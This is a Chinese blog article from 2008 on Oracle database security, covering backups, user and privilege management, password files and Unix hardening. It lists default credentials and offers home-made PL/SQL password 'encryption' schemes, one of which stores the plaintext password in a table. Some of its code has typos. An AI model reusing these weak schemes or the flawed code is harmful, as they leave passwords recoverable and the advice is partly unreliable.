oracle数据安全面面观

五月 30th, 2008 by admin

  随着计算机的普及以及网络的发展,数据库已经不再仅仅是那些程序员所专有的话题。而oracle数据库更是凭借其性能卓越,操作方便灵活的特点,在数据库的市场中已经占据了一席之地。但是同样随着网络技术的不断进步,数据信息的不断增加,数据安全已经不再是以前的“老生长谈”,也更不是以前书本上那些“可望不可及”的条条框框。
或许很久以前,大家都觉得oracle数据库的安全并不存在隐患,因为oracle公司在去年11月份开始促销其数据库软件时提出的口号是“只有oracle9i能够做到绝对安全”。但是不管它这么说是为了促销,还是为了扩大知名度,总之伴去年12 月份,英国的安全专家 david litchfield 发现的9ias 中存在的程序错误导致的缓冲溢出漏洞以及后来,pentest limited 和 eeye digital security 各自提出了一个小的漏洞,所有使用oracle公司产品的人都不由地紧张了原本松弛的大脑–这个对于用户来说,毕竟关系到了自己的“身家性命”。
下面笔者将带着大家走进oracle数据安全的世界。由于笔者水平有限,所以不足之处在所难免,望大家不吝赐教。
(一)oracle数据库的一些基本常识

这里仅仅是为了以后的安全奠定一些基础,因为我们后面要用到它们。呵呵~!
1.oracle所包含的组件:
在 oracle,数据库是指整个 oracle rdbms 环境,它包括以下组件:
·oracle 数据库进程和缓冲(实例)。
·system 表空间包含一个集中系统类目,它可以由一个或多个数据文件构成。
·其它由数据库管理员 (dba)(可选)定义的表空间,每个都由一个或多个数据文件构成。
·两个以上的联机恢复日志。
·归档恢复日志(可选)。
·其它文件(控制文件、init.ora、config.ora 等)。
每个 oracle 数据库都在一个中央系统类目和数据字典上运行,它位于system 表空间。
2.关于“日志”
oracle数据库使用几种结构来保护数据:数据库后备、日志、回滚段和控制文件。下面我们将大体上了解一下作为主要结构之一的“日志”:
每一个oracle数据库实例都提供日志,记录数据库中所作的全部修改。每一个运行的oracle数据库实例相应地有一个在线日志,它与oracle后台进程lgwr一起工作,立即记录该实例所作的全部修改。归档(离线)日志是可选择的,一个oracle数据库实例一旦在线日志填满后,可形成在线日志归档文件。归档的在线日志文件被唯一标识并合并成归档日志。
·关于在线日志:一个oracle数据库的每一实例有一个相关联的在线日志。一个在线日志由多个在线日志文件组成。在线日志文件(online redo log file)填入日志项(redo entry),日志项记录的数据用于重构对数据库所作的全部修改。
·关于归档日志:oracle要将填满的在线日志文件组归档时,则要建立归档日志(archived redo log)。其对数据库备份和恢复有下列用处:
<1>数据库后备以及在线和归档日志文件,在操作系统和磁盘故障中可保证全部提交的事物可被恢复。
<2>在数据库打开和正常系统使用下,如果归档日志是永久保存,在线后备可以进行和使用。
数据库可运行在两种不同方式下:noarchivelog方式或archivelog 方式。数据库在noarchivelog方式下使用时,不能进行在线日志的归档。如果数据库在archivelog方式下运行,可实施在线日志的归档。
3.物理和逻辑存储结构:
oracle rdbms是由表空间组成的,而表空间又是由数据文件组成的。表空间数据文件被格式化为内部的块单位。块的大小,是由dba在oracle第一次创建的时候设置的,可以在512到8192个字节的范围内变动。当一个对象在oracle表空间中创建的时候,用户用叫做长度的单位(初始长度((initial extent)、下一个长度(next extent)、最小长度(min extents)、以及最大长度(max extents))来标明该对象的空间大小。一个oracle长度的大小可以变化,但是要包含一个由至少五个连续的块构成的链。
4.oracle与microsoft sql server比较下的联网协议:

(二)oracle数据安全的维护
记得某位哲学家说过:“事物的变化离不开内因和外因。”那么对于oracle数据安全这个话题而言,也势必分为“内”和“外”两个部分。那么好,我们就先从“内”开始说起:
§1.从oracle系统本身说起
我们先抛开令人闻风色变的“hacker”和其他一些外部的原因,先想一下我们的数据库。什么硬盘损坏,什么软件受损,什么操作事物……一系列由于我们的“疏忽”而造成的系统问题就完全可以让我们辛苦建立的数据库中的数据一去不复返。那么,我们就先从自己身上找找原因吧。
【一】解决系统本身问题的方法–数据库的备份及恢复
·数据库的备份:
关于oracle数据库的备份,标准地有三中办法:导出/导入(export/import)、冷备份、热备份。导出备份是一种逻辑备份,冷备份和热备份是物理备份。
<1>导出/导入(export/import)
利用export可将数据从数据库中提取出来,利用import则可将提取出来的数据送回oracle数据库中去。
a.简单导出数据(export)和导入数据(import)
oracle支持三种类型的输出:
(1)表方式(t方式),将指定表的数据导出。
(2)用户方式(u方式),将指定用户的所有对象及数据导出。
(3)全库方式(full方式),将数据库中的所有对象导出。
数据导出(import)的过程是数据导入(export)的逆过程,它们的数据流向不同。
b.增量导出/导入
增量导出是一种常用的数据备份方法,它只能对整个数据库来实施,并且必须作为system来导出。在进行此种导出时,系统不要求回答任何问题。导出文件名缺省为export.dmp,如果不希望自己的输出文件定名为export.dmp,必须在命令行中指出要用的文件名。
增量导出包括三个类型:
(1)“完全”增量导出(complete)
即备份整个数据库,比如:
$exp system/manager inctype=complete file=990702.dmp
(2)“增量型”增量导出
备份上一次备份后改变的数据。比如:
$exp system/manager inctype=incremental file=990702.dmp
(3)“累计型”增量导出(cumulative)
累计型导出方式只是导出自上次“完全” 导出之后数据库中变化了的信息。比如:
$exp system/manager inctype=cumulative file=990702.dmp
数据库管理员可以排定一个备份日程表,用数据导出的三个不同方式合理高效地完成。比如数据库的备份任务可作如下安排:
·星期一:完全导出(a)
·星期二:增量导出(b)
·星期三:增量导出(c)
·星期四:增量导出(d)
·星期五:累计导出(e)
·星期六:增量导出(f)
·星期日:增量导出(g)
如果在星期日,数据库遭到意外破坏,数据库管理员可按以下步骤来恢复数据库:
第一步:用命令create database重新生成数据库结构;
第二步:创建一个足够大的附加回段。
第三步:完全增量导入a:
$imp system./manager inctype= rectore full=y file=a
第四步:累计增量导入e:
$imp system/manager inctype= rectore full=y file =e
第五步:最近增量导入f:
$imp system/manager inctype=restore full=y file=f
<2>冷备份
冷备份发生在数据库已经正常关闭的情况下,当正常关闭时会提供给我们一个完整的数据库。冷备份是将关键性文件拷贝到另外位置的一种说法。对于备份oracle信息而言,冷备份是最快和最安全的方法。冷备份的优点是:
·是非常快速的备份方法(只需拷贝文件)
·容易归档(简单拷贝即可)
·容易恢复到某个时间点上(只需将文件再拷贝回去)
·能与归档方法相结合,作数据库“最新状态”的恢复。
·低度维护,高度安全。
但冷备份也有如下不足:
·单独使用时,只能提供到“某一时间点上”的恢复。
·在实施备份的全过程中,数据库必须要作备份而不能作其它工作。也就是说,在冷备份过程中,数据库必须是关闭状态。
·若磁盘空间有限,只能拷贝到磁带等其它外部存储设备上,速度会很慢。
·不能按表或按用户恢复。
如果可能的话(主要看效率),应将信息备份到磁盘上,然后启动数据库(使用户可以工作)并将所备份的信息拷贝到磁带上(拷贝的同时,数据库也可以工作)。冷备份中必须拷贝的文件包括:
·所有数据文件
·所有控制文件
·所有联机redo log文件
·init.ora文件(可选)
值得注意的是冷备份必须在数据库关闭的情况下进行,当数据库处于打开状态时,执行数据库文件系统备份是无效的
下面是做冷备份的完整例子:
(1) 关闭数据库$sqldba lmode=y
sqldba >connect internal;
sqldba >shutdown normal;
(2) 用拷贝命令备份全部的时间文件、重做日志文件、控制文件、初始化参数文件
sqldba >! cp < file > < backup directory >
(3) 重启oracle数据库
$sqldba lmode=y
sqldba >connect internal;
sqldba >startup;
<3>热备份
热备份是在数据库运行的情况下,采用archivelog mode方式备份数据的方法。所以,如果你有昨天夜里的一个冷备份而且又有今天的热备份文件,在发生问题时,就可以利用这些资料恢复更多的信息。热备份要求数据库在archivelog方式下操作,并需要大量的档案空间。一旦数据库运行在archivelog状态下,就可以做备份了。热备份的命令文件由三部分组成:
1.数据文件一个表空间一个表空间地备份。
(1)设置表空间为备份状态
(2)备份表空间的数据文件
(3)恢复表空间为正常状态
2.备份归档log文件。
(1)临时停止归档进程
(2)log下那些在archive redo log目标目录中的文件
(3)重新启动archive进程
(4)备份归档的redo log 文件
3.用alter database backup controlfile命令来备份拷贝文件
热备份的优点是:
·可在表空间或数据文件级备份,备份时间短。
·备份时数据库仍可使用。
·可达到秒级恢复(恢复到某一时间点上)。
·可对几乎所有数据库实体作恢复。
·恢复是快速的,在大多数情况下在数据库仍工作时恢复。
热备份的不足是:
·不能出错,否则后果严重。
·若热备份不成功,所得结果不可用于时间点的恢复。
·因难于维护,所以要特别仔细小心,不允许“以失败而告终”。

【二】来自内部的另外一个隐患–用户管理以及密码问题
在这里,其实作为一个差不多点的数据库管理员都很清楚,oracle数据库本身就使用了很多种手段来加强数据库的安全性,经常见到的就有密码,角色,权限等等。那么我们就从最简单的dbsnmp
说起:
oralce数据库如果采用典型安装后,自动创建了一个叫做dbsnmp的用户,该用户负责运行oracle系统的智能代理(intelligent agent),该用户的缺省密码也是“dbsnmp”。如果忘记修改该用户的口令,任何人都可以通过该用户存取数据库系统。现在我们来看一下该用户具有哪些权限和角色,然后来分析一下该用户对数据库系统可能造成的损失。
启动sql/plus程序,使用该用户登录进入:
sql> select * from session_privs;
create session
alter session
unlimited tablespace
create table
create cluster
create synonym
create public synonym
create view
create sequence
create database link
create procedure
create trigger
analyze any
create type
create operator
create indextype
可以看到该用户不是sys或system管理用户,然而,它却具有两个系统级权限:unlimited tablespace和create public synonym。
看到这两个权限你应该马上想到,这些都是安全隐患,尤其是unlimited tablespace,它是破坏数据库系统的攻击点之一。如果这时候你还依然认为,即使有人利用这个没有修改的口令登录进数据库也造成不了什么损失的话,我就不得不提醒你:该用户具有unlimited tablespace的系统权限,它可以写一个小的脚本,然后恶意将系统用垃圾数据填满,这样数据库系统也就无法运行,并将直接导致最终的瘫痪。目前很多数据库系统都要求7×24的工作,如果出现了系统用垃圾数据填满的情况,那么,等数据库系统恢复时,恐怕不可挽回的损失已经造成了。
可是除了 dbsnmp 还有很多其他的用户,怎么办呢?让我们先看一下目前普遍存在于oracle数据库中的用户管理问题:
(1)权限过大:对oracle数据库编程和浏览的一般用户常常具有dba (数据库管理员权限),
能对数据库系统做任何修改或删除。
(2)安全性差:很多oracle用户缺省存储位置都在系统表空间,这样不仅影响系统的正常工
作,而且不同用户的数据信息互相影响、透明,保密性差。随着数据的不断加入,
有可能使整个数据库系统崩溃。
(3)密码有规律:在oracle调试初期形成的用户名和密码一致的不良习惯保留到现在;系统用户sys和system的密码也众所皆知。
知道了这些普遍的“毛病”,我们怎么做呢?下面是我的一些建议:
(1)oracle dba (数据库管理员)的规范
·sun solaris操作系统下oracle用户密码应严格保密,绝不该把密码设成
oracle;并指定专门的数据库管理员定期修改。
·oracle初始化建立的sys和system系统管理员用户密码应由原来manager改成别的不易被记忆的字符串。
·oracle web server的管理端口具备dba浏览数据库的能力,因此其管理者
admin的密码也应保密,不该把密码设成manager;并指定专门的数据库管理员定
期修改。
·oracle dba最好在sun sparc服务器控制台上用窗口式界面实现管理。前提
是oracle用户启动服务器,然后在窗口式命令行下输入svrmgrm,即启动了oracle server manager菜单式管理;用sysdba身份登录后,就可做数据库系统维护工作了

(2)sql*plus编程用户的规范
·存储结构的规范
考虑到用sql*plus编程可实现各行各业、各公司、各部门多种多样的应用需求,我们的sql*plus编程用户也应该朝这个方向规范:不同种类的应用必须有不同的用户;不同种类的应用必须有不同的存储位置,包括物理文件、缺省表空间、临时表空间的创建和规划:当准备编写某一较大规模(从oracle数据量和面向用户量考虑)应用程序时,首先应该创建一个逻辑的存储位置-表空间,同时定义物理文件的存放路径和所占硬盘的大小。
①、物理文件缺省的存放路径在/oracle_home/dbs下,在命令行下用unix指令df -k 可查看硬盘资源分区的使用情况。如果oracle_home使用率达90‰以上,而且有一个或多个较为空闲的硬盘资源分区可以利用,我们最好把物理文件缺省的存放路径改到较为空闲的硬盘资源分区路径下。在此路径下我们可以这样规划资源物理文件的存储:
xxx表空间
xxx行业/ xxx公司/ xxx 部门/ xxx 服务.dbf
demo表空间
default_datafile_home1/col /elec/sys4/demo1.dbf
default_datafile_home1/col /elec/sys4/demo2.dbf
公司系统四部摹拟演示系统物理文件
human表空间
default_datafile_home1/col/elec/human/human.dbf
公司人事部人事管理系统物理文件
book表空间
default_datafile_home1/col/elec/book/book.dbf
公司资料室图书管理系统物理文件
question表空间
default_datafile_home1/col/elec/client/question.dbf
公司客户服务部问题库系统物理文件
pc表空间
default_datafile_home1/col/chaoxun/client/pc.dbf
公司pc机售后服务系统物理文件
……表空间
default_datafile_home2/……………………………
等等
说明:其中default_datafile_home1指oracle_home/dbs;
default_datafile_home2指较为空闲的硬盘资源分区路径。
②、物理文件的大小根据应用系统的数据量、数据对象、程序包的多少来定。一般用于摹拟演示的小系统,表空间初始的物理文件为2m即能满足要求,如果信息量满,还可以增加物理文件,扩充表空间(每次扩充大小也可暂定为2m);一般实际运行的应用系统可适当增加表空间初始的物理文件大小,但也不要一次分配太大(因为不易回收空间,却易扩充空间),这也需要根据具体情况具体分析:信息量大、需长时间保存的应用在条件允许情况下,表空间可以大到几百m甚至上g;信息量小、短期经常刷新的应用,表空间可以控制在2m以下。

③、表空间的名称应该采用同系统应用相似的英文字符或字符缩写,表空间所对应的一个或多个物理文件名也应有相关性。不同用户所处的缺省表空间不同,存储的信息就不能互相访问。这比把所有用户信息都储存在系统表空间,安全性大大提高了。如果用oracle web server管理端口创建的用户,其缺省和临时表空间一定是系统表空间,dba切记要改变用户的缺省表空间。临时表空间存放临时数据段,处理一些排序、合并等中间操作,根据实际应用的需求可以把它们放在专门创建的表空间里;如果系统表空间大,也可以把它们放在系统表空间。用户创建的数据索引最好和数据文件分开存放在不同表空间,以减少数据争用和提高响应速度。

·密码和用户名的规范
有相当数量的oracle用户名和密码一致,这是个很不安全的因素。我们建议oracle用户名和密码一定不要一样,密码最好在五,六位字符以上。不同用户间不应该使用相同的密码。用户名的定义可根据实际应用的英文名来设,而依据编程人员的姓名定义的用户名实际上不规范,可在日后的工作中结合上述有关存储结构规范的说明逐步改进。
(3)特殊要求用户的规范
在oracle数据库使用过程中,还会遇到一些有特殊要求的用户:非编程人员需要对某个表有查询、增加、删除、修改的权利。dba应创建一个这样的用户,先确定用户名和密码,再规定相关应用所在缺省表空间(包含某个表)和临时表空间,最后table属主给其授权:赋予connect角色select、insert、delete、update on the table的对象级权限,这可根据实际需求自由取舍。
举例:●给新用户授于对象级权限(命令行方式):
假设新用户new2需要有查询、删除、修改dcd用户的表emp。
%svrmgrl
svrmgr>connect internal; 以系统管理员登录
svrmgr>create user new2 identified by new2345 default tablespace app;
svrmgr>connect dcd/dcdpwd; 以dcd用户登录
svrmgr>grant connect to new2;
svrmgr>grant select on emp to new2;
svrmgr>grant delete on emp to new2;
svrmgr>grant update on emp to new2;
说了这么多关于用户的问题,那么接下来我们就详细得说一下关于密码文件的使用以及维护–在oracle数据库系统中,用户如果要以特权用户身份(internal/sysdba/sysoper)登录oracle数据库可以有两种身份验证的方法:即使用与操作系统集成的身份验证或使用oracle数据库的密码文件进行身份验证。因此,管理好密码文件,对于控制授权用户从远端或本机登录oracle数据库系统,执行数据库管理工作,具有重要的意义。
oracle数据库的密码文件存放有超级用户internal/sys的口令及其他特权用户的用户名/口令,它一般存放在oracle_home\database目录下。
·密码文件的创建:
在使用oracle instance manager创建一数据库实例的时侯,在oracle_home\database目录下还自动创建了一个与之对应的密码文件,文件名为pwdsid.ora,其中sid代表相应的oracle数据库系统标识符。此密码文件是进行初始数据库管理工作的基础。在此之后,管理员也可以根据需要,使用工具orapwd.exe手工创建密码文件,命令格式如下:
c:\ >orapwd file=< filename > password =< password > entries=< max_users >
各命令参数的含义为:
filename:密码文件名;
password:设置internal/sys帐号的口令;
max_users:密码文件中可以存放的最大用户数,对应于允许以sysdba/sysoper权限登录数据库的最大用户数。由于在以后的维护中,若用户数超出了此限制,则需要重建密码文件,所以此参数可以根据需要设置得大一些。
有了密码文件之后,需要设置初始化参数remote_login_passwordfile来控制密码文件的使用状态。
·设置初始化参数remote_login_passwordfile:
在oracle数据库实例的初始化参数文件中,此参数控制着密码文件的使用及其状态。它可以有以下几个选项:
none:指示oracle系统不使用密码文件,特权用户的登录通过操作系统进行身份验证;
exclusive:指示只有一个数据库实例可以使用此密码文件。只有在此设置下的密码文件可以包含有除internal/sys以外的用户信息,即允许将系统权限sysoper/sysdba授予除internal/sys以外的其他用户。
shared:指示可有多个数据库实例可以使用此密码文件。在此设置下只有internal/sys帐号能被密码文件识别,即使文件中存有其他用户的信息,也不允许他们以sysoper/sysdba的权限登录。此设置为缺省值。
在remote_login_passwordfile参数设置为exclusive、shared情况下,oracle系统搜索密码文件的次序为:在系统注册库中查找ora_sid_pwfile参数值(它为密码文件的全路径名);若未找到,则查找ora_pwfile参数值;若仍未找到,则使用缺省值oracle_home\database\pwdsid.ora;其中的sid代表相应的oracle数据库系统标识符。
·向密码文件中增加、删除用户:
当初始化参数remote_login_passwordfile设置为exclusive时,系统允许除internal/sys以外的其他用户以管理员身份从远端或本机登录到oracle数据库系统,执行数据库管理工作;这些用户名必须存在于密码文件中,系统才能识别他们。由于不管是在创建数据库实例时自动创建的密码文件,还是使用工具orapwd.exe手工创建的密码文件,都只包含internal/sys用户的信息;为此,在实际操作中,可能需要向密码文件添加或删除其他用户帐号。
由于仅被授予sysoper/sysdba系统权限的用户才存在于密码文件中,所以当向某一用户授予或收回sysoper/sysdba系统权限时,他们的帐号也将相应地被加入到密码文件或从密码文件中删除。由此,向密码文件中增加或删除某一用户,实际上也就是对某一用户授予或收回sysoper/sysdba系统权限。
要进行此项授权操作,需使用sysdba权限(或internal帐号)连入数据库,且初始化参数remote_login_passwordfile的设置必须为exclusive。具体操作步骤如下:
创建相应的密码文件;
设置初始化参数remote_login_passwordfile=exclusive;
使用sysdba权限登录: connect sys/internal_user_passsword as sysdba;
启动数据库实例并打开数据库;
创建相应用户帐号,对其授权(包括sysoper和sysdba): 授予权限:grant sysdba to user_name;
收回权限:revoke sysdba from user_name;
现在这些用户可以以管理员身份登录数据库系统了;
·使用密码文件登录:
有了密码文件后,用户就可以使用密码文件以sysoper/sysdba权限登录oracle数据库实例了,注意初始化参数remote_login_passwordfile应设置为exclusive或shared。任何用户以sysoper/sysdba的权限登录后,将位于sys用户的schema之下,以下为两个登录的例子:
1. 以管理员身份登录:
假设用户scott已被授予sysdba权限,则他可以使用以下命令登录:
connect scott/tiger as sysdba
2. 以internal身份登录:
connect internal/internal_password
·密码文件的维护:
1. 查看密码文件中的成员:
可以通过查询视图v$pwfile_users来获取拥有sysoper/sysdba系统权限的用户的信息,表中sysoper/sysdba列的取值true/false表示此用户是否拥有相应的权限。这些用户也就是相应地存在于密码文件中的成员。
2. 扩展密码文件的用户数量:
当向密码文件添加的帐号数目超过创建密码文件时所定的限制(即orapwd.exe工具的max_users参数)时,为扩展密码文件的用户数限制,需重建密码文件,具体步骤如下:
a) 查询视图v$pwfile_users,记录下拥有sysoper/sysdba系统权限的用户信息;
b) 关闭数据库;
c) 删除密码文件;
d) 用orapwd.exe新建一密码文件;
e) 将步骤a中获取的用户添加到密码文件中。
3. 修改密码文件的状态:
密码文件的状态信息存放于此文件中,当它被创建时,它的缺省状态为shared。可以通过改变初始化参数remote_login_passwordfile的设置改变密码文件的状态。当启动数据库事例时,oracle系统从初始化参数文件中读取remote_login_passwordfile参数的设置;当加载数据库时,系统将此参数与口令文件的状态进行比较,如果不同,则更新密码文件的状态。若计划允许从多台客户机上启动数据库实例,由于各客户机上必须有初始化参数文件,所以应确保各客户机上的初始化参数文件的一致性,以避免意外地改变了密码文件的状态,造成数据库登陆的失败。
4. 修改密码文件的存储位置:
密码文件的存放位置可以根据需要进行移动,但作此修改后,应相应修改系统注册库有关指向密码文件存放位置的参数或环境变量的设置。
5. 删除密码文件:
在删除密码文件前,应确保当前运行的各数据库实例的初始化参数remote_login_passwordfile皆设置为none。在删除密码文件后,若想要以管理员身份连入数据库的话,则必须使用操作系统验证的方法进行登录。
但是管理员都觉得乏味,因为在管理员中流行一种很简单的加密办法–就是经常,很频繁地修改自己的密码。可是,每次修改都跟打一次仗似的–因为更新程序并不是每个人都愿意做的事情。
那么有没有什么简单点的办法呢?请往下看:
模型:oracle7.3;开发工具:develope2000。收费系统(在数据库中的名称是sfyy),其client端分散在市区的数个营业点,通过城域网与主机(小型 机)相连。
过程:
·在收费小型机oracle系统的system用户(dba)下,创建新用户test;
create user test
identified by carton
default tablespace dataspace1
quota 100k
·对test用户授以权限;
grant create session to test;
grant resource to test;
·在test用户下建立一个存储函数mmtranslate,它其实是一个加密程序。下面是一个简 单的例子。
function mmtranslate(m varchar2)
return varchar2
as
i number(2);
kk varchar2(10);
begin
kk:=′′;
i:=1;
loop
if i<=length(m) then
if instr(′1234567890′,substr(m,i,1),1,1)>0 then
kk:=kk||chr(100+to_number(substr(m,i,1)));
elseif instr(‘wxyz‘,substr(m,i,1),1,1)>0 then
kk:=kk||chr(-8+ascii(substr(m,i,1)));
else
kk:=kk||chr(4+ascii(substr(m,i,1)));
end if;
else
exit;
end if;
i:=i+1;
end loop;
return kk;
exception
when others then
return ′-1′;
end;
·在test用户下建表mmtest并插入记录:
create table mmtest
(usnamevarchar2(6),——用户名称
mimavarchar2(6)——加密前的密码);
insert into mmtest values( ‘sfyy‘,‘eds2‘);
commit;
·执行以下语句
sql>select mmtranslate(‘eds2‘) from dual;
mmtranslate(‘eds2‘)
—————————————-
ihwf
利用dba权限更改sfyy的密码为上面语句的执行结果:
alter user sffy
identified by ihwf; ;
·修改应用程序,对于开发环境是develope2000的程序来说,主要是修改主程序的on-lo gon触发器:
declare
mm varchar2(6);
begin
logon(‘test‘,‘carton‘);
select mima into mm from mmtest where usname=‘sfyy‘;
mm:=mmtranslate(mm);
logout;
logon(‘sfyy‘,mm);
end;
然后再利用触发器when-new-from-instance执行callfrom或newform等 命令,进入业务处理程序。这个主程序应当仅仅由管理员来掌握,编译之后将执行文件下发 到各收费点的clien端。
·在system用户下,利用oracle提供的pupbld.sql,建立表productuserprofile,执行下面这样的命令,限制在非开发状态sql命令的使用,例如
insert into productuserprofile
(product,userid,attribute,charvalue) values
(‘sql*plus‘,‘test‘,‘connect‘,‘disabled‘);
insert into productuserprofile
(product,userid,attribute,charvalue) values
(‘sql*plus‘,‘sfyy‘,‘delete‘,‘disabled‘);这样,在sql状态下,根本无法连接到test用户,而在 sfyy用户下,delete命令将不能执行。当然,dba可以改变这些设置。
当然了,这个仅仅是属于一种“应用技巧”,但是足可以把那些每天忙于更新系统的管理员舒服好几天了。但是另一方面,还要加强对源程序的管理,在client端只存放执行程序。加强审计,发现异常现象,及时处理。这样才可以做到更高一层的“安全”。
在下面,我主要是向大家介绍一个rem对ghxxb制立数据库触发子,密码的加密程序。
rem  对ghxxb制立数据库触发子(当insert or update ghxxb时触发)
drop trigger scjmmm;
create or replace trigger  scjmmm
before insert or  update of mm  on ghxxb for each row
begin
:new.mm:=encrypt(:new.mm,:new.gh,to_char(sysdate,‘ss‘));
end;
/
—————————密码的加密程序encrypt———————-
create or replace
function encrypt (inpass in varchar2,in_gh in varchar2,in_ss in varchar2)
return varchar2 is
bcs   varchar2(20);
bcs1  number;
cs    number;
jg    number;
m_gh  varchar2(4);
m_mm  varchar2(20);
begin
m_gh:=in_gh;
m_mm:=inpass;
cs:=to_number(in_ss);
if cs<=1 then cs:=77 ;end if;
bcs:=substr(to_char(ascii(substr(m_gh,1,1))),1,2);
if bcs<‘1‘ then bcs:=‘7‘ ;end if;
m_gh:=substr(m_gh,2);
loop exit when nvl(length(m_gh),0)=0 ;
bcs:=bcs||substr(to_char(ascii(substr(m_gh,1,1))),-1,1);
m_gh:=substr(m_gh,2);
end loop;
loop exit when nvl(length(m_mm),0)=0 ;
bcs:=bcs||substr(to_char(ascii(substr(m_mm,1,1))),-1,1);
m_mm:=substr(m_mm,2);
end loop;
bcs1:=to_number(bcs);
jg:=cs*bcs1;
loop exit when length(to_char(jg))>13;
jg:=jg*cs ;
end loop;
return(in_ss||substr(to_char(jg),1,14));
end;
/
总结上面的东西,我们仅仅是从自身做起,知道了怎么维护oracle数据库安全这个话题的“皮毛”。可是,对于这个似乎永远也说不完的话题,我们光知道怎么从内部“防御”就够了吗?不要忘了,在外面,还有一群虎视耽耽的“hacker”在盯着你的数据库–因为这里面有他们想要的东西。
所以,请大家关注好下一个话题:
§2.不被“hacker”入侵的几个建议
我们的目标是:没有蛀牙!(开个玩笑~!呵呵)其实应该是:它应尽可能地堵住潜在的各种漏洞,防止非法用户利用它们侵入数据库系统。对于数据库数据的安全问题,数据库管理员可以参考有关系统双机热备份功能以及数据库的备份和恢复的资料。
以下就数据库系统不被非法用户侵入这个问题作进一步的阐述。
·组和安全性:在操作系统下建立用户组也是保证数据库安全性的一种有效方法。oracle程序为了安全性目的一般分为两类:一类所有的用户都可执行,另一类只dba可执行。在unix环境下组设置的配置文件是/etc/group,关于这个文件如何配置,请参阅unix的有关手册,以下是保证安全性的几种方法:
(1)在安装oracle server前,创建数据库管理员组(dba)而且分配root和oracle软件拥有者的用户id给这个组。dba能执行的程序只有710权限。在安装过程中sql*dba系统权限命令被自动分配给dba组。
(2)允许一部分unix用户有限制地访问oracle服务器系统,增加一个由授权用户组的oracle组,确保给oracle服务器实用例程oracle组id,公用的可执行程序,比如sql*plus,sql*forms等,应该可被这组执行,然后该这个实用例程的权限为710,它将允许同组的用户执行,而其他用户不能。
(3)改那些不会影响数据库安全性的程序的权限为711。(注:在我们的系统中为了安装和调试的方便,oracle数据库中的两个具有dba权限的用户sys和system的缺省密码是manager。为了您数据库系统的安全,我们强烈建议您该掉这两个用户的密码,具体操作如下:
在sql*dba下键入:
alter user sys indentified by password;
alter user system indentified by password;
其中password为您为用户设置的密码。
·oracle服务器实用例程的安全性:
以下是保护oracle服务器不被非法用户使用的几条建议:
(1) 确保$oracle_home/bin目录下的所有程序的拥有权归oracle软件拥有者所有;
(2) 给所有用户实用便程(sqiplus,sqiforms,exp,imp等)711权限,使服务器上所有的用户都可访问oracle服务器;
(3) 给所有的dba实用例程(比如sql*dba)700权限。oracle服务器和unix组当访问本地的服务时,您可以通过在操作系统下把oracle服务器的角色映射到unix的组的方式来使用unix管理服务器的安全性,这种方法适应于本地访问。
在unix中指定oracle服务器角色的格式如下:
ora_sid_role[_dla]
其中 sid 是您oracle数据库的oracle_sid;
role 是oracle服务器中角色的名字;
d (可选)表示这个角色是缺省值;a (可选)表示这个角色带有with admin选项,您只可以把这个角色授予其他角色,不能是其他用户。
以下是在/etc/group文件中设置的例子:
ora_test_osoper_d:none:1:jim,narry,scott
ora_test_osdba_a:none:3:pat
ora_test_role1:none:4:bob,jane,tom,mary,jim
bin: none:5:root,oracle,dba
root:none:7:root
词组“ora_test_osoper_d”表示组的名字;词组“none”表示这个组的密码;数字1表示这个组的id;接下来的是这个组的成员。前两行是oracle服务器角色的例子,使用test作为sid,osoper和osdba作为oracle服务器角色的名字。osoper是分配给用户的缺省角色,osdba带有with admin选项。为了使这些数据库角色起作用,您必须shutdown您的数据库系统,设置oracle数据库参数文件initoracle_sid.ora中os_roles参数为true,然后重新启动您的数据库。如果您想让这些角色有connect internal权限,运行orapwd为这些角色设置密码。当您尝试connect internal时,您键入的密码表示了角色所对应的权限。
·sql*dba命令的安全性:
如果您没有sql*plus应用程序,您也可以使用sql*dba作sql查权限相关的命令只能分配给oracle软件拥有者和dba组的用户,因为这些命令被授予了特殊的系统权限。
(1) startup
(2) shutdown
(3) connect internal
·数据库文件的安全性:
oracle软件的拥有者应该这些数据库文件($oracle_home/dbs/*.dbf)设置这些文件的使用权限为0600:文件的拥有者可读可写,同组的和其他组的用户没有写的权限。
oracle软件的拥有者应该拥有包含数据库文件的目录,为了增加安全性,建议收回同组和其他组用户对这些文件的可读权限。
·网络安全性:
当处理网络安全性时,以下是额外要考虑的几个问题。
(1) 在网络上使用密码在网上的远端用户可以通过加密或不加密方式键入密码,当您用不加密方式键入密码时,您的密码很有可能被非法用户截获,导致破坏了系统的安全性。
(2) 网络上的dba权限控制您可以通过下列两种方式对网络上的dba权限进行控制:
a 设置成拒绝远程dba访问;
b 通过orapwd给dba设置特殊的密码。
·建立安全性策略:
系统安全性策略
(1)管理数据库用户:数据库用户是访问oracle数据库信息的途径,因此,应该很好地维护管理数据库用户的安全性。按照数据库系统的大小和管理数据库用户所需的工作量,数据库安全性管理者可能只是拥有create,alter,或drop数据库用户的一个特殊用户,或者是拥有这些权限的一组用户,应注意的是,只有那些值得信任的个人才应该有管理数据库用户的权限。
(2) 用户身份确认:数据库用户可以通过操作系统,网络服务,或数据库进行身份确认,通过主机操作系统进行用户身份认证的优点有:
a 用户能更快,更方便地联入数据库;
b 通过操作系统对用户身份确认进行集中控制:如果操作系统与数据库用户信息一致,oracle无须存储和管理用户名以及密码;
c 用户进入数据库和操作系统审计信息一致。
(3) 操作系统安全性
a 数据库管理员必须有create和delete文件的操作系统权限;
b 一般数据库用户不应该有create或delete与数据库相关文件的操作系统权限;
c 如果操作系统能为数据库用户分配角色,那么安全性管理者必须有修改操作系统帐户安全性区域的操作系统权限。
·数据的安全性策略:
数据的生考虑应基于数据的重要性。如果数据不是很重要,那么数据的安全性策略可以稍稍放松一些。然而,如果数据很重要,那么应该有一谨慎的安全性策略,用它来维护对数据对象访问的有效控制。
·用户安全性策略:
(1) 一般用户的安全性:
a 密码的安全性:如果用户是通过数据库进行用户身份的确认,那么建议使用密码加密的方式与数据库进行连接。这种方式的设置方法如下:
在客户端的oracle.ini文件中设置ora_encrypt_login数为true;
在服务器端的initoracle_sid.ora文件中设置dbling_encypt_login参数为true。
b 权限管理:对于那些用户很多,应用程序和数据对象很丰富的数据库,应充分利用“角色”这个机制所带的方便性对权限进行有效管理。对于复杂的系统环境,“角色”能大大地简化权限的理。
(2) 终端用户的安全性:
您必须针对终端用户制定安全性策略。例如,对于一个有很多用户的大规模数据库,安全性管理者可以决定用户组分类为这些用户组创建用户角色,把所需的权限和应用程序角色授予每一个用户角色,以及为用户分配相应的用户角色。当处理特殊的应用要求时,安全性管理者也必须明确地把一些特定的权限要求授予给用户。您可以使用“角色”对终端用户进行权限管理。
